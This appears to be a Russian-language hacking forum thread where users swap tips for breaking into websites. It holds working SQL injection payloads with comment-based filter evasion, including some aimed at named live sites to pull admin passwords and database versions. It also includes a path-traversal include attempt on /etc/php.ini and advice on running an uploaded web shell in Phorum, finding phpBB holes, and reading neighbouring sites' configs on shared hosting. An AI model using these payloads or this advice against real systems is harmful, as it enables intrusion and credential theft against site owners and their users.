пацаны это инклюд? Fatal error: require() [function.require]: Failed opening required 'articles/../../../../../../../../../etc/php.ini/text.htm' (include_path='.:/usr/local/share/pear') in /pub/home/teplotex/htdocs/fedorov/warlib/index.php on line 115
Не могу разобратся. Значит запрос к базе такой $dbb=mysql_query("select * from zas where id='{$_GET['id']}'"); $dbb=mysql_fetch_array($dbb); получаетса id это int, и при запросе http://test1.ru/?id=99999'/**//*!union*//**//*!select*//**/1,2,3/*' выводитса 2... но если делаю запрос http://test1.ru/?id=99999'/**//*!union*//**//*!select*//**/1,user(),3/*' то выдает Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in Z:\home\test1.ru\www\index.php on line ... как правильно сделать?
попробуй http://test1.ru/?id=99999'/**//*!union*//**//*!select*//**/1,unhex(hex(user())),3/*' http://test1.ru/?id=99999'/**//*!union*//**//*!select*//**/1,/*!user()*/,3/*' Загружаю шелл в профайл админа cms Phorum, оказывается записывает файл в бд, как сделать исполнение кода? (http://127.0.0.1/file.php?0,file=1,filename=shell.php)
http://www.luman.lg.ua/strelby.php?title=%CF%F3%EB%E8+%22%CB%FE%EC%E0%ED%22+FT-0%2C68&id=70+and+1=0+union+select+1,2,3,4,5,6,7,8,pass+from+adm_user пробелы необходимо убрать
Подкиньте уязвимостей по phpbb 3.0.2... Из тех что есть в этой темке большинство подразумевает наличие уязвимых модов либо права админа... У меня нет возможности даже зарегистрироваться(регистрация там только по подтверждению админом), а из модов, насколько я понял, только некие arcade и tosviolation.
Не думал, что когда-то буду сюда писать...но)) _http://www.nordiz.ru/tovar.php?tovar_id=2395 Тут только посимвольно можно вытаскивать?)
ВНЕЗАПНО!111 http://www.nordiz.ru/news.php?newsid=119+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15--+
Вот, полезный списочек http://itdefence.ru/dbitems/ Code: [B]Table:[/B] user [B]Columns:[/B] userid usergroupid username password email
как можно определить жумлу к какому сайта относится кроме таблиц jos_session и jos_content и файла configuration.php (на самом деле только доступ к таблицам)?
Помогите, плз Имею пхп-инъек.. Вытащил config.php - получил данные к mysql, но host:localhost Вопрос: как можно узнать mysql.server??? спасибо
попробуй в качестве хоста указать домен этого сайта, если не прокатит, то удалённое подключение запрещено, придётся заливать шелл, либо ещё что..
данный файл носит больше информационную нагрузку..имена пользователей системы ты там найдешь...но это тебе не поможет...попробуй подключится к базе айпи_адресс_сервера:3306 (но скорее всего не получится, как тебе уже говорили), посмотри на 2ип.ру какие еще сайты есть на серванте, попробуй у соседей почитать конфиги..может где и есть бейсик авторизация в админку..
